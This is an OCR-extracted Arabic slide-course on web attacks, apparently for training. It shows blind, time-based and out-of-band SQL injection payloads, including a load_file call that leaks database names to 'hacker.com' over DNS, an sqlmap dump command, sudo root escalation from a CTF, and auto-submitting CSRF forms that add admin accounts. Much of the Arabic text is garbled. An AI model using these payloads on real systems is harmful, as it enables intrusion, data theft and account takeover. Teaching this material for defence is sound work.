“or ascii(substring(database(),2,1))=97 I— — #determine 2nd char of DB name —
False

“or ascii(substring(database(),2,1))=98 I_ — #tdetermine 2nd char of DB name —
False

“or ascii(substring(database(),2,1))=99 I_ — #determine 2nd char of DB name —
False

‘or ascii(substring(database(),z,1))=1OOI— — #tdetermine 2nd char of DB name —
False

“or ascii(substring(database(),z,1))=101I— — #tdetermine 2nd char of DB name —
False



(..4LS5) SQLI B a3 g )i

|}Ag,4'\ﬂ\g_§);l\\5\o

blind ;s clilall sacld anl (o)) it dlaall ) Sy o
(Sway bruteforce plaaiulitable  awl ass WlSely Liay dangiall pda judiy e
d.uug_;c M\GAQM\ L_ﬁjj\ d.ds_\je.ua\ﬁ\ guess cﬁj.u U\ JJ\AJ U\ La.\\

A 4 2l 5 user or users “4eul table <ClULwsacld JS 4 ¢S L Llle JUL)
L,’J.\ LS Sy jandl payloads Jlu ) Wl

‘or (select 1 from testttt limit 1)=1 — — False
“or (select 1 from user limit 1)=1 — — False
‘or (select 1 from users limit 1)=1 — — True



(.45 SQLI B3 g ) 5

"or (( select 1 from users limit 1)) =1 ---

password
"or (( select 1 from users limit 1)) =1 -- -: please enter

your correct password

Ahmed Hashem El Fiky
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users s table aul Ol gl Lia g o
users table & oY) aae o i ol La ) 13) e

“or (select count(*) from users) > 10 — — False
“or (select count(*) from users) > 1 — —true
“or (select count(*) from users) > 2 — —true
“or (select count(*) from users) >3 — — False

o GlalS 3 g aadtiie clewl 3 Jgaall 8 aa 6 13,3 g8 Hau¥) dae o 08 13 e
sl e



(...4S5) SQLI a5 g) ol
users Jsix 2 columns e 48 o LSL 48y Hlall judiy g o

“or (SELECT count(*) FROM information_schema.columns WHERE
table_name = “users”)=3 — —

columns aul &8 55 () WilSaly Liay) (Jially
“or substring(concat( 1, (select username from users limit 1)),1,1)=1 — —

“or substring(concat( 1, (select password from users limit 1)),1,1)=1 — —
QI ) S Uy @l i Jglaal) (e caliball 1 5ial Ly Ba 1 131 S il sac s
users s sise zl AWy JUell Jow e customized script plaaiuly doleal) 4545 (Sa;
table

https://www.isecurlty.org/%D9%85%D9%82%D8%A7%D9%34-
%D8%B4%D8%B1%D8%AD-%D8%AB%D8%BA%D8%B1%D8%A7%D8%AA-
boolean-based-sqgl-injection-%D8%AA%D8%AD%D8%AF%D9%8A-seenoevil-
%D9%85%D9%86-codered-ctf/
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C\_\my Caliiad «&\ u\_q\_uj\ dac|a L_\\.AJLM C‘J*"“Y sqlmap 3lal e\m\ L&.AJ‘ uS.u
ul‘ LS strmg O Ay gy sqlmap e\m\ La ) 1) REEAY J dlaal)

sqlmap -u http://192.168.8.102/index.php --
data="username=admin&password=test&submit=Login" -p username --
dbms mysql --dump --
string="please" --batch

O ani 4 jaill vie 5 Jleall JAA SSH e Ly jai (fae il e sana oY) Ll i
shell access &l Jsaall Al (Sayrcode  aY!
ssh —p2233 rcode@192.168.8.102
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sl jue 8 WS sudo (b e root e Jsanl Y LilKay o

g

Matching Defaults entries for rcode on this host:
Ivisiblepw, always set home, env reset, env keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS COLORS",
LC MESSAGES", env keep+="LC MONETARY LC NAME LC NUMERIC LC PAPER LC TELEPHONE", env keep+="LC TIME LC ALL LANJ

User rcode may run the following commands on this host:
(ALL) NOPASSWD: ALL

[rcode@localhost ~]$

[rcode@localhost ~]$

[rcode@localhost ~]$%

[rcode@localhost ~]$%

[rcode@localhost ~]$

[rcode@localhost ~]$

[rcode@localhost ~]$ sudo -1

Matching Defaults entries for rcode on this host:
Ivisiblepw, always set home, env reset, env keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS COLORS",
LC MESSAGES", env keep+="LC MONETARY LC NAME LC NUMERIC LC PAPER LC TELEPHONE", env keep+="LC TIME LC ALL LANJ

User rcode may run the following commands on this host:
(ALL) NOPASSWD: ALL
[rcode@localhost ~]$
[rcode@localhost ~]$ sudo su -
[root@localhost ~]#
[root@localhost ~]# id
uid=0(root) gid=6(root) groups=6(root) context=unconfined u:unconfined r:unconfined t:s6-s50:¢0.c1023
[root@localhost
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B! Burp Suite Community Edition v1.7.36 - Temporary Project - O X

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

Ky —-—Y

[ e || cancel | [ <iv || > Target: http:/ilocalhost:81 EJEJ

Request Response
_[ Raw T Params T Headers T Hex ] _[ Raw T Headers T Hex T HTML T Render ]
GET A HTTP/1l.1l 404 Not Found A
/dvva/vulnerabilities/sqli_blind/index.php?id=l'+hnd+sleep(10);——+‘ Date: Fri, 05 Apr 2019 12:35:52 GMT
Subnit=Submit HTTP/1l.1 Server: Apache/Z.4.34 (Win32) OpenSSL/1.0.Zo PHP/S5.6.38
Host: localhost:81 X-Powered-By: PHP/S5.6.38
User-Agent: Mozilla/5.0 (Windows NT 1l0.0; Win&4; x€4; rv:E6.0) Expires: Tue, 23 Jun 2009 12:00:00 GMT
Gecko/20100101 Firefox/6€.0 Cache-Control: no-cache, must-revalidate
Accept: | Pragma: no-cache
text/htnl, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 K-¥XSS-Protection: 1l; mode=block
Accept-Language: en-US,en;q=0.5 Content-Length: 4587
Accept-Encoding: gzip, deflate Connection: close
Referer: Content-Type: text/html;charset=utf-8
http: //localhost:8l/dvwa/vulnerabilities/sqli blind/index.php?id=1%
27+and+substring$Z8database$28%29%2C4%2C1%29%3D%27a%27%3B-—+&Subnit
=Submnit <!/DOCTF¥PE html PUBLIC "-//W3C//DID XHIML 1.0 Strict//EN"
Connection: close "http: //wwvw. w3 . org/TR/xhtnl 1/DID/xhtmll-strict . dtd">
Cookie: security=low; security=medium; v F;
l ? J[ < Jl + J[ > J Type a search term 0 matches [ ? J[ < Jl + J[ > J Type a search term 0 matches
Done 4,926 bytes | 10,068 millisl
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1' and if((select+@@version) like "10%",sleep(2),null);- -+

S " 10" = Tan Hlaay) o S 2 13gd ¢ Gl Geme A AlaIWY) Sela 1Y) e
LJJAJ&JJAMJUAHJ;};?)\MY\@?M“lk
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(OOB) Out-Of-Band SQLI s 5 ¥ SQLI g5 (e Al g 5 2 92 0

e Bl Giaes Alatly) Gead gudaill ey Eus (SQL ugsu.q@_d\ KESPYRENARER
Adliae Ja5 3l aladiul & ¢ Gla ) ala yinY Sl 3ac Uas  aadiinaall JIA0)

o Sl ) #lisg aaleall of 41 sale ¢DNS resolution sl HTTP requests Jia
.DNS 5l HTTP &

XYY e\m\ e;\.@_.aﬂ Sa (MYSQL by sacls Jden Gl gladll \JAA.».A\'
L_i\_\\_uj\ pac|a )\Jm;\uu).u...n\j\

1’;select load file(concat('\\\\',version(),"'.hacker.com\\s.txt"'));
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1°;select load_file(concat( ' “'-."".,’"-.,""._',database(), '.hacker.com\\s.txt' \\) L_\L\\_\.\j‘ DJQ\A e.;.n\ °

DNS »xiul & database () s version () _elsl z1ak odel ol oY) asi e
hacker.com Ja<ll resolution

DNS L_iLAJJ:.A ujg‘ uh\:\.\j\ acla e.ua\j J‘Jm;\ 4\3\_;4;\ el u& 4_\5\_\]\ aJ}aﬂ G‘éﬁ °
Dol Cilile (pa e slaall 36 8 adlall b aSay 3 anleall (S . lall Jlaal
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£ Capturing from Wi-Fi - 0o X €
File Edit View Go (Capture Analyze Satistics Telephony Wireless Tools Help
e RE Rexs»ERIEFEQQAQAH I
| Jans B v Expression..  + |y
No. Time Source Destination Protocol  Length Info .
38 13.895577 192.168.100.6 4.2.2.2 DNS 86 Standard query @x3eeS -MariaDBthacker.com
39 13.965590 4.2.2.2 192.168.100.6 DNS 153 Standard query responsg @x3ee5 No such name A 10.1.36-MariaDB.hacker.com SOA dns@l.consolidat
45 31.432691 192.168.100.6 4.2.2.2 DNS 75 Standard query @xc999 A dvwa.hacker.com
T 46 31.646991 192.168.100.6 8.8.8.8 DNS 75 Standard query @xc999 A
! 51 32.008307 4.2.2.2 192.168.100.6 DNS 142 Standard query response @xc999 No such name A dvwa.hacker.com SOA dns@l.consolidated.net
+ 55 32.482898 8.8.8.8 192.168.100.6 DNS 142 Standard query response @xc999 No such name A dvwa.hacker.com SOA dns@l.consolidated.net
118 50.066233 192.168.100.6 4.2.2.2 DNS 88 Standard query @xa@93 A store-images.s-microsoft.com
119 50.223180 192.168.100.6 8.8.8.8 DNS 88 Standard query @xa@93 A store-images.s-microsoft.com
121 50.516965 4.2.2.2 192.168.100.6 DNS 197 Standard query response @xa@93 A store-images.s-microsoft.com CNAME store-images.s-microsoft.
122 50.516966 8.8.8.8 192.168.100.6 DNS 197 Standard query response @xa@93 A store-images.s-microsoft.com CNAME store-images.s-microsoft.
258 51.074798 192.168.100.6 4.2.2.2 DNS 74 Standard query @x11a9 A login.live.com
290 51.232119 192.168.100.6 8.8.8.8 DNS 74 Standard query @x11a9 A login.live.com
301 51.322263 8.8.8.8 192.168.100.6 DNS 174 Standard auerv response @x11a9 A loein.live.com CNAME login.msa.akadns6.net CNAME vs.login.ms
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- Attacker forges a request for
Email change to a website

Attacker

]

1. Share link to malicious-site.com
through email, social media and other

malicious-site.com

3. load page with
malicious payload

— 2. Open link in browser

Victim
Victim's browser

4. send request including
user credentials

target-site.com

5. request is accepted and
processed as legit user request
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L RmniE : (BSEREE)

ID:1 admin BREBER B 556 %

i
pal|
I

[EERSRESFE. IFR MNIEEN]
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el owase conrrener R ) 1 ) .

—

| File Options |
OWASP CSRFTester Clear All |  StopRecording |
Step | Method URL Parameters I Pause

GET |w ]
Query Parameters Form Parameters
Include Regex: |~ || Reset
Exclude Regex: [.*\(giﬂjpgl pnglcssijicolis|axa\?.*lico)S | Reset
Report Type: @ Forms () iFrame ( IMG ) XHR ( Link Display in Browser I Generate HTML ]

Recording started

Ahmed Hashem El Fiky



(...4lS3) CSRF J 3 s

sl s pall RSy ) o5 Jlanl o sk o

SESKS: 13 B

BUZE 123 *

c=f 123 E

BAAE
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S0l L o Tl i ) s ¢ Sl Jlu ] 58l 20

| OWASP CSRFTester
File Options
OWASP CSRFTester | Ciear All || stoprecording |
Step | Method | URL | Parameters | Pause
Reqguest 1378 POST hitp://a_.cn:88/admin/ad... admin=123&password... 42
Request 1380 GET hitp:#/a.cn: 88!admmlad
Request 1382 POST
Request 1383 POST
Reguest‘lwv POST
Request 1382 | 1388 |
|POST | ~ ' [naxthon.oom:443:‘ﬁlesyndmetal332327564c1 cd4c1b11c665a6539a3ae91 542bab9e99278f46650522320b7975j
Query Parameters Form Parameters
{hash”'cRiphKjiN443euPelLYLVIF9SbVZOMmXxAgKwvkK7Ta3ng...
Include Regex: |~ ] Reset
Exclude Regex: |.*\(giflipglpnglcssiicolis|axad\?.*{ico)S | Reset
Report Type: @ Forms ¢ iFrame o IMG < XHR  Link Display in Browser I Generate HTML ]

Moving to row 2
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(csladl o2 ) (Y asl g Js) la= W Requests c.m; SEAENPAIR

|| OWASP CSRFTester
i File Options
OWASP CSRFTester | Ciear Al || startRecording |
Step | Method | URL Parameters | Pause "
Regquest 1378 POST 'http://a cn:88/admin/ad_. admin=123&password... 42

Request 1378 | |42 |
|POST | vl [nttp:#7a.cn:88/admin/admin_manage.asp |
Query Parameters Form Parameters
act=add admin=123 -
password=123
password3=123 =
eieiaiaiain
-
Include Regex: |~ | Reset
Excilude Regex: ["’\(giﬂjpglpnglwslicoljslaxd\?.*lico}s ] Reset
|
Report Type: @ Forms (0 iframe (0 IMG < XHR C Link Display in Browser | Generate HTML |

| Moving to row O
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CSRF psaa it Li€as o5 «CSRF Token Jpeell el dad o siall o ol adl Liaa g o
el Lo uas Al Ay Hhall e oda § ALLAN Jaul 4 Report Type 4elS s 5 Ja o
(GET ¢POST (Sax) (S0 e addiusall 83 (5 siaall () Cus 73 90 ¢LA3L 8 FOrms
GET «POST ) L padiusall 585 5 ¢ 0 paje 5 gL iframe Ul L& 28 jFrame e
(CSae
(58 GET )IMG ke 53 IMG
AJAX (POST, GET) <k ¢Lii) XHR e
(488 GET ) 4Dy URL #L83) Link
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MeﬂmchTMl_ ula;.\.u.\hejmu}ujca_ﬁ)j\ \JAL“,’ACA\.AJ\J\_\;J\_\;\GM’
UA‘M\L;‘\.RA\‘)AM Q\OJMY\@cJM\w}d\

|| OWASP CSRFTester

File Options

OWASP CSRPETastar A Cloac An LL___ Start Recording
— | |5 Choose directory to store saved CSRF attack &
Sy — — Pause I
Request 137 1277: |[ ] Desktop = (=] =] [EE]2=]
&= 1 w3 wowew
(3 Administrator(— _F—RRWWW
1 HEA (1 Black-Hole
1 F3%& () FreeAttack
] nginx#&H 53
(1 web img E#
| | () ysmfay 3
Request 137] | |42
;: I3 3R(N): |CWUsers\Administrator\Desktop -
|[posT |4 -
: Al seerzemia: ~] [IEE <
act=add r —— -
1247 082 S
~ s
T
Iinclude Regex: = Reset
Exclude Regex: *\(giflipglpnglcssiicolis|axd\?.*{ico}S | Reset
Report Type: ® Forms » iIFrame ¢ MG XHR Link [»] Display in Browser Generate HTML |
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G R] ?J Lgﬂ\ index.html oa ¢ Al gill 2 LY HTML L) (948 yail e

é%ﬁ&\u;&a‘@ﬁ@;‘@d\é&djw\&bcn
W7 xemspusemaemss x| C omawm x|
X O v O http://a.cn:88/admin/admin_manage.asp?/act=add
[®]| == [ Google EIE= [ ==N Q BE=F [ 360E=it2l [ | 360Mis==2421

WMMA —

FEBMA a.cn 893E=EE

!
1
|

=R, EESZFMMAT) | |S=8E5m !

= S R SATEIE mE

Ahmed Hashem El Fiky



(...aL&) CSRF JI 5

Al )l gad ¢ plady e

3 ZEWiE-R

PN | =EDE | NEARNE | EmliwmEDE ZigEEeE BENBE TTNR/ TR

FEIRGN - (EEIEE)
admin mmns B2 557 % BEWR - 2013/2/19 12:56:10 2 fisis

HARRES BE0R M|ENE - 2015/1/7 13:49:39

) 1 R
gl atilia) o3l (g 5 o Aiay o

L L:.ﬂ.j\ M dﬁfﬁ“‘“‘d\ e)ﬁ{} ¢ \_u UA\;AM ed\éj‘ LA.C |ndeXhtm| ‘M &m) \_\:\S.AJ °
Jiaal) San a8 J gpnal) Al o885 a1 o) ¢ i gl) MY 8 dpalall 8 J g gl (65 )
AruSall il (3 yha (e A8 Hh L dsdiall p2a 38 e
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oAl Ayl asagdl o WSy Cua JUSY el mabindll L dalay cad L
(manual)

Cuad SN XYCMS emcﬁjd\\&u\udcjujcﬁyjﬁ@ch\tH<Lnxo
u.ods;_\&;yyc\_\\t_m;jdﬂ ALBJJL_\AJMY\J.@XYCMS JMAJ)S(J.\J.\.\J
gl_\.}g,ﬁusydm‘W\@djw\uhajc\ﬁseugﬂ\UISA\@)M\JAJM
A Kl

8 | 2onE | ERmeeE | ‘itﬁﬁgﬁ“"ﬁi smeeE | fyns Uy ae ALY Loyl HI ) dail F12

AET 'OEH

wE izla

h1_,.;t\1e backg cundIrrage ur lutra S/ bg gif)' thl;.;t\le borderStyle="solid';tt
th='1';borderCclor="%#a6d@e7"’ mouseout=

his.st_\.'le.backgfcundlmage='u* ' .this.style.borderStyle="none'">

F<div align="center" class=JYLE3">

<a href="admin_manage.asp” target="main">EEREIE</a>
</fdiv>
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I pesall Adlia) 438 215 Al Sl sa dayl HlI 12 xid o
U remaes - mEeeE

ID:1 admin BEEER S5 560 %

EN2ES
| mEsgs . ESEHENSETS. BB RIEER]

*

i
l
i}
dr

&
fiy
i

=5
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CJJAJ‘:\ANQEJP)A‘&)M‘USGNU‘JM‘UMJ;‘J-L”‘CU|+U o
Y el LS Aadl html «ale d 4xa &5 ¢ form

index.html @

<form action="admin_manage.asp?act=add" method="post" name="add">

¢input name="admin" type="text" size="30" />

¢input name="password" type="text" size="30" />

<input name="password3" type="text" size="30" />

¢input type="submit" name="button" id="button" value="HZHIE" class="button"/>
¢/form)

AN B L N e
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(...4Le5) CSRF JI'3 33

ana) 'eﬁcacn 8¢ bueal \u;ﬂ\éyé\actionﬁjuﬁ&aumc\fw;
JJM\Q_\LNAGAM\O&c@d\aﬂ\ﬁymuﬁaﬂ\u\sﬁj\@w\w

(Form action="http://a.cn:88/adm1n_manage.asp?act=add" method="post name="add">
(input name="admin" type="text" size="30" value="123"/>

(input name="password" type="text" size="30" value="123456"/>

(input name="password3" type="text" size="30" value="123456"/>

¢input type="submit" name="button" id="button" value="RZFE" class="button"/)
/form
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J s me Ailia) Wil (S 13) L g yis JLERY) i Lic s o

2> e O v O© 5 le:///C:/Users/Administrator/Desktop/index.html
k =& [ ) Google B == . =i O EEET oy 360Ss=ir QO 360MEE=2ew - . R 0=t @
1 h 1 =00
€ X €& © O | ¥ | http//a.cn:88/admin/admin_manage.asp?act=add
*  [RBE [ Google EI = B ==R Q BE=F Oy 3060Em12 QL 360MiE=2n QR 360EFTiT
bl Il )" |
{ 1 1 1 1 ®
1 | I | BUNTE IS
SRERIT acn HISTRES e
HEIR , EBRFMART) | ssESEEM !
EFHTREETNEE Bm=
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l:ﬂgﬂ\cjlc- aﬁcngkﬂ\Jaiaéa.Aquag~jla%=uéaﬂ.l=ﬂgﬂ\(JLut)\ajta.Lsé cE:L;Jg:&Q4£=>“ Caal ®
Y8 ey WS Ua JavaScript ladiul 2w Bl vaa gdmin 4dlaals o s

<body onload="javascript:csrf()">

{script>

function csrf(){

document.getElementById("button").click();

¥

</script>

<form action="http://a.cn:88/admin/admin_manage.asp?act=add" method="post" name="add">
<input name="admin" type="text" size="30" value="1"/>

<input name="password" type="text" size="30" value="1"/>

<input name="password3"” type="text" size="3@" value="1"/>

<input type="submit" name="button" id="button" value="#ZZFIE" class="button"/>
</form>

</body>
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o

ladY Ung Jadd Cayal Zasadll elaa) oo 4Gl 3 gladl) LALAY atilia) ol ¢ petal) day o
<body onload="javascript:csrf()"> \JA dlﬁ CJ}AAM

{script>

function csrf(){ Q_Uj a.éé.m QL\LQ:\S\ o
document .getElementById("button™).click(); T

} w

</script> L_A"; LGJ"‘AJ ‘CSFf
<style>

form{ U.A;j ‘b.Cn

display: none;

</st)}fle> \-@A-\S ‘__AC dj}umj\

<form action="http://a.cn:88/admin/admin_manage.asp?act=add" method="post" name="add">
{input name="admin" type="text" size="30" value="1"/>

<input name="password" type="text" size="30" value="1"/>

<input name="password3" type="text" size="30" value="1"/>

<input type="submit" name="button" id="button" value="RAZFIW" class="button"/>
</form>

</body>
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SalSlL aadiiaall Gl 55 4y BiAall Gl 58 CSRF asad zlad el )
¢ C00k|e.L:LuJY\ LAJJMJAQAMPJA&_\M\@?M\ 483Laq L_ﬂ.AjL.AcJA;
48 yra (590 b_ydlie addiially Galdld) Jalid jY) iy 28 cale aladtin) Jladdll oSy UM
JS&y CSRF Token Jwas ey 4Ll & «CSRF J) (e 4glaall ddaliaall Dl slas
A Saeall el e GaaAll aaddl) (e il sl oL (HTTP e () () s
B ) iiad ¢ pmaia e aeddl el sine O o) Qlhall B Giee ey s oS
bl a8 59 CSRF psnt 058

axdiuall Lkl Two-Factor Authentication J! ) CSRF Token J) iiay e
CSRF Token J! s4 Second Factor s Cookie JI s First Factor &) <ua



(...4kSS) CSRF J) 3

CSRF &l i (e dglanl) e
: em‘ Cils o e
4 Bsige e il o) Zai Y e
w5l and (e a5
el ila e e
8 sall Alaad Token aladia) (e Y e

O s ke o4 9 CSRF token (Ao aldie ) Cany Glangdl (e & 53l 138 (e cusl) Gl dglaal
@L@JL&J\HMJ&MSJ&M‘MA&L MJ&)—M&J‘ quJjJA keyAermJ\ du\
4Kl 25 30 Request O L response, ae Al s e iyl 523 O cany srequest

MITM a8 Gk e Y zuaaa token 2lsi (e aalgall aadaiog o 4y yull



(...aL&) CSRF JI 5

VI e o) cliadail (3) i) pridaS Lelilas Le 1,88 Al col jail) aal e Caaati Cogu o
a8 e web applications ' adiad L 1 )5S JSON Based CSRF J) (2 5
cbllall Juiial 5 Jlw Y JavaScript Object Notation gllaad 1 Laidl JSON

CSRF Jis 3 i 4 j2e web applications d) s3a (5S35 ¢ 8l () 5
Aoalal) VA 3 Letaiud (e lagiat ST (5 60 8 padll JDlatiad (Allal) oda 8
A llall VSIS 5 cppme o 5o GBI sl o i US L) S ( yidal o
POST /edit/1/username HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 19

{"username”:"test”}
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server J ) test 4iad 5 naall username J) Ju)) s llall 45 2533 e S 5 0
ehslhu@mm ulbl\@tokensd\&\}a\ua&}ag\ h}m‘ﬁm\dﬂ_\huj&\.m
uu%o)b)e;uh\wsujmm“ﬂ username J) i ¢ CSRF Clasgs

J@?ﬁ“uﬁsuﬁ}‘ej.;@\-ﬁew HTML JAJMMGAM\_\M j.L;J\ LaSas
Alall QYW 8

2 Al diadl 5 cparameter=value &5 A Wi 5 parameters J) Jw ) ol o
(Sl 8 HTML J) 28

<input type="hidden” name="username™ value="test” />



(...aL&) CSRF JI 5

LiSay 3L ({“parameter”:"value”} 3y pa (& s Junle dlall oda & (S] 5e
¢ alxd

{_Aj;y‘ MJ\A.AM ®

e O8I 5 e Gubad) Qllall 4l alls Jlu )Y HTMIL J1 258 e S0l Al gl Wiy
1 SYIS CESEAY! s

action="https://example.com/edit/1/username" method="POST" enctype="text/plain">
type="hidden" name='{"username":"hacked"}' value='"

type="submit" value="Submit!" />
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(...4LeS5) CSRF J) 3 a0

Jenctype J) dad o ddasdle a5 crequestd) Jaad form  aadi Gl Sl o
URL 4ezs alll (e miiaiall aial 3 g ctext/plain o 329> 54l form
lhall Jls ) Jé 3Ll encoding

& 48 name J 4l (S 5 el Al Gl input 2 form J) (A e

Ay OSay) Gy e g i 5 el A ) Ju i OV ({“username”:"test”}
:(Burp Suite Jie proxy tool ! alaaiu) 35k e Ju jall calkall

POST /edit/1/username HTTP/1.1
Host: example.com
Content-Type: text/plain
Content-Length: 24

{"username”:"hacked" }=



(...4L&3) CSRF J) 5

¢ J yall payload Jl ey = Adle Sl \Swj?iqﬂaﬁeigﬂ\u .

SContent-Type J) w3 5 llall Jlu ) &5 c(HTMLJ) 258 (A form J LBaas WS e
i (Sl 5 URL encoding d—«r— Osx payload J) Jue ) &4 s 3 WS 5 ctext/plain
iinputd & name J 4aiS Jus 1all payload J) Laas Ly el 5 o= e d\-w)\

4.«.\34\.«@.:.\.\4?4 M)uu\.@_z_m} named\whhc\a\}&, M\Mu}
Allal) s2a uﬁ de Hd A G.d\ s evalued!

Ol ada 3N A g Laia e 38 ga ) ) s Ol (S (Y1 o

* Content-Type header J 4 ol (3o 3SUlL 2 8 Y web application JI
application/json

alall s2a ‘_g =J) e Jin cdhall S ina uﬁ 320! 3\ (""d\ Jalsi JSON parser J) e



(...aL&) CSRF JI 5

Al 4 gladll o

Jazall HTML J 2681 lais Gged ¢ bl Jall ce dlee €1 Ja @llin cdaall cpuald o
:oUJi

action="https://example.com/edit/1/username" method="POST" enctype="text/plain">
type="hidden" name='{"username":"hacked","1gnorable":"' value='"}' />

type="submit" value="Submit!" />
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dad Jlu b W s 43y yhay value J) s name J) 4ad sty Lad Janall 3 SI) 4o

S Aaal 5 dale 48y Hlay 3 a8l Ol W rand Gl pdi A 5 cdagls JSON
Al s34 server J! du el llall sa

POST /edit/1/username HTTP/1.1

Host: example.com

Connection: close

Content-Type: text/plain

Content-Length: 39

{"username”:"hacked”,"ignorable™:"="}
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¢ Alall o34 b 3 13k o

Adlall s2a @chamed\we.\ ?J name J) dad L 1 Cd..aa.d\ (b U ,Sa LS o
s dadle 48lia) je |gnorab|e leans) 323) ) 48 Lidal Ll 9a olilad Lo (S
cu‘}(\aﬂ\dﬂ@d@yw#\ XYY —LSAAJ\AS\ D&@L@—\Aﬁj‘dﬂﬂ\JSON J

Aa saa server J Ju el callall sajaa parameters Adla) 0S5 () g 4l G

il e dalaia parameters J) o2 a3 (5S35 0l 5 cweb applicationd! deé %
backend code.d!

XMLHttpRequest ahasiul sl (e (81 5 o gagdl (udiy pldll & Sa5 Y1 llal
28 e g sindd HTML J) 258 sy o i aaaan b (55 5 ) 13¢5 ol
.Q_?-N\



2 g P
Vdl

xhr
xhr

xhr.
xhr.

(...4LS3) CSRF J) 3 s

xhr XMLHt tpRequest () ;
.withCredentials = true;

.open("POST", "https://example.com/ed1t/1/username", tr

setRequestHeader (" Content-Type","application/json");
send(JSON.stringify({"username":"hacked"}));

Ahmed Hashem El Fiky
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(...akS5) CSRF J) 3

'é\ﬂh 5% Javascript 255 LUK Cuad Adlal) 53 s

a 58 L dbluy sapobject J) 138 exhr 4au) 3 XMLHttpRequest 4c s 2s object Gls e
aYserver Jl c—&l\ Jlu b

o A «trued withCredentials sSvattribute dad Huas G e xhr Jaaxd e
s yal) allall . ladll CA}J\_\ Ll cookies J b ) NI alall

05SAl URL B POST <l Jle s¥open adla aladin e

g;‘é appllcatlon/Json w 9 Content- Type ‘\-‘W“ ‘—‘uﬂﬂ request header “3\-*4\ ¢
4\334 {AAY\ JH\ A.dm e.u

JSON d pay load d‘ d—‘jé-’ d—’)jﬂu‘:\ ’3‘ al) dLuJYSend alla \J;.u.u\ c\).a;\ g ®
@ldlsend ik =l payload J! s i &5 JSON.stringify il e\m\ eobject

La S5




(...4LSS) CSRF J) 3 a3

Aaioall i V) cqrioate gl (8 dniall o Cm LS8 551 Al ) o 1Al
o yall llall 4y ) (e S s proxy 3l g1 sl Burp Suite axaius

OPTIONS /fedit/l/username HTTP/1l.1

Host: example.com

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101
Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Access-Control -Request-Method: POST

Access-Control -Request -Headers: content-type

origin: null

Connection: close

Cache-Control: max-age=0
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fPOST il (e Yy OPTIONS bl Jlu ) o 13l o

XMLHttpRequest plaaiul suaall Sladaidl i request method b all Jls ) A Lais o
il Jl) o text/plam & st (S5 2113 «Content- -Type headerd) das (e ¥ 5l aslall a3y
sale a4 5 «pre-flight requests— ERRIRN & sl 1 oy ¢ ( shaY! Lkl J& OPTIONS

dlal) 13 Jle b Origin Ga.u.\d\_wl\ YN uﬁcﬁ}d\ oJ\J;uAJS\J\ Jda) ye e da S

Access-Control-Allow-Origin J! e pre-flight request J) ch server J) 3 s sial 1) o
preflight-J! Ju <l domain d\ & Al S ) Origin ol (e * (o4 4lagd CuilS 3 header
Al cserver (w u.n.dj Ll LS'“AMM J.aj.\.mﬁ\ (e o\_\lu)\ Lty Sl g null sa Ll 2 request
Jall o o3 (€5 2 o (LAY QI Jalas 2y Allall oln b i L1 G s

*‘g_ajﬂad\a)]\ﬁa)l\u&g\q\dmu\hﬁm\a\\Juso

Content-Type header J mad aey llall Jle ) cangy AdlST) o34 @ ¢ (3l d\_m]\ @ Lilzd LaS o
)8l header J) U e Leday g_\lbﬂ A ) oJ}.a]\ c\qm llall Jlw ) ?J text/plam L_,,.J\
TN
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POST /edit/l/username HTTP/1l.1

Host: example.com

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:45.0)
Gecko /20100101 Firefox/45.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,*/%;qg=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain

Content-Length: 21

origin: null

Connection: close

Cache-Control: max-age=0

{"username" : "hacked"}

pre-flight Juw)) Osn 5 Lol W& POST  calls Jluy) & ¢ s WS
alall s34 L;ﬁ ?M‘ C\é_.\ u\_q de\ — ¢ 3l JEA uﬁ daa LS request
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D3l aalis it Flickr 8 CSRF 585 o

Yahoo sl aS s ol Siaba il sall mal e il i€ (a5 2014 ol o
OeFlickr ind Cua agy Aaldll 3l gall el o (ana 4dlinkat s Flicker o s o
e eh Mo S e 4 CanY asii an3 1 llall 8 ) seall A L Bl sa
Bl 50 gall ol o AL 5 508 xa 5 %100 (oona
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Gl o and Ul ¢ aaiisa ¢y sale 87 llays PHP p2ii 4ida s a8 sal) Jsa (5oaill by 130 o
@L@hoﬁf@ﬂ‘WJWu;&‘-@—\Y 2 (e peas gl (oS A aY) e
XSS ,CSRF,permission bypass . e Gl iy G J;ml\ ¢ Flickr Js
ulkdigdam)mw@CSRFthckr j.dcu.dmj\ dglaall ) as g Eannll dxy o
JS & <us magic_cookie 4wu) S5 HTTP HEADER JI B s Andiall Lsula Oe
magic_cookie Jdatas A (e Adaa (. yd\ Al ¢ allall e allan| Nt alla

Slatia e Gl Jil e N 8l 8 JP}J\ QA‘\A&AAMJ dlall 8 JP}J\

TB-Y
Lgﬂ\w\(:ﬁ@\yceajdﬂye.u \ﬂ\ulc\é@du@\m&d\sﬁodmo
w\

(@il il | Juall) b Jla el o)l gla g caltlal) 8 Caaall calay @l o



(...4kSS) CSRF J) 3
&) ol
(sl Al Gad) o) a8 gall 8y 5k e B ) sa 28 8 4 Caad e

G A Aadia Gk oo Jualdi ) 5 () sie aia g lie allay Wae 93 ) peall @) o
- (Lo )

) Léfjﬁg\f; L,Jli:j‘ C)~3S;£ 9 gt Li};4:\§3\9 CJ\*935> C:¢J=£3 C}‘ Az g
Host: www.flickr.com

User-Agent: Mozilla/5.@ (Windows NT 6.2; WOW64; rv:31.0) Gecko/20122101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Cookie: Long one !!!

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 208

edit_done=1&amp;upload_ids=14401638983&amp; just_photo_ids=&amp;set_id=

&amp ;magic_cookie=32e285e98bbef3aa6afd8c879891c@1b&amp;title_14401638983=XSRF+bug+P0OC1l
